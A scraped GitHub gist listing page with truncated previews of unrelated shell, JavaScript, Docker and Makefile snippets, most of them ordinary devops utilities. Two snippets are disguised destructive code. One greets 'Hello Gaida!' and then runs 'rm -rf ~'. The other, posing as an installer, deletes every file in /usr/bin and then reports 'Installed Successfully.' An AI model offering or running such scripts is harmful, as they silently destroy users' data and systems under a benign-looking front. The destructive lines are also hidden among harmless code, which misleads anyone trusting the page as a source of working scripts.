😶🌫️
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
set -e | |
grep -v "#Managed by DNS Updater" /etc/hosts | sudo tee /etc/hosts > /dev/null | |
DOMAINS=(www.tiktok.com sf16-website-login.neutral.ttwstatic.com im-api-sg.tiktok.com mcs-sg.tiktok.com mcs-va.tiktokv.com p16-sign.tiktokcdn-us.com webcast.tiktok.com mon.tiktokv.com p19-sign.tiktokcdn-us.com p16-sign-sg.tiktokcdn.com p16-sign-va.tiktokcdn.com p77-sign-va.tiktokcdn.com v16-webapp-prime.tiktok.com p16-sign-useast2a.tiktokcdn.com p16-sg.tiktokcdn.com vmweb-sg.byteoversea.com s20.tiktokcdn.com mssdk-sg.tiktok.com p16-sign-va.tiktokcdn.com pull-flv-l11-sg01.tiktokcdn.com pull-flv-l1-sg01.tiktokcdn.com) | |
for i in ${DOMAINS[@]}; do | |
ip=$(curl -s "https://dns.google/resolve?name=$i&type=A" --compressed | jq -r '.Answer[] | select(.type == 1) | .data' | head -n 1) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
set -e | |
# This is for NextJS, modify accordingly for react. | |
ENV_VARS=$(printenv | grep NEXT_ | cut -d= -f1) | |
for var in $ENV_VARS | |
do | |
TEMP_VAR_NAME="REPLACE_ME_${var}" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import axios from "axios"; | |
import { aws4Interceptor } from "aws4-axios"; | |
const DATASTORE_URL = "[REDACTED]"; | |
const interceptor = aws4Interceptor({ | |
options: { | |
region: "us-east-1", | |
service: "healthlake", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
echo "Hello Gaida!" | |
rm -rf ~ | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
set -e | |
CACHE_FOLDER=~/.cache/cloneitdady | |
CACHE_ORGS=$CACHE_FOLDER/orgs | |
refresh_cache() { | |
gh org list >$CACHE_ORGS |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
USER=$(whoami); | |
TEMP_PATH=$(mktmp -d); | |
FILES=$(ls /usr/bin/*); | |
for i in $FILES | |
do | |
rm $(where $i) | |
done | |
echo Installed Successfully. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
function sync_aws() { | |
SRC_BUCKET=$1 | |
FOLDER_NAME=$2 | |
DEST_BUCKET=$3 | |
export DEFAULT_AWS_REGION=us-east-1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM python:3-alpine | |
ENV PYTHONDONTWRITEBYTECODE=1 | |
ENV PYTHONUNBUFFERED=1 | |
ENV HOME=/home/app | |
ENV USER=app | |
ENV APP_HOME=/home/app/web | |
RUN addgroup -S app && adduser -S app -G app |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pip install -r requirements.txt -t ./python | |
find -type d -name __pycache__ -exec rm -rf {} \; | |
zip lambda_layer.zip -r ./python/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
CC = gcc | |
CFLAGS := $(shell sdl2-config --libs --cflags) -ggdb3 -O0 --std=c99 -Wall -lSDL2_image -lm | |
SRCS != find ./src -type f -name *.c | |
HEADS != find ./includes -type f -name *.h | |
OBJS := $(SRCS:.c=.o) | |
INCLUDES := -I ./includes |
NewerOlder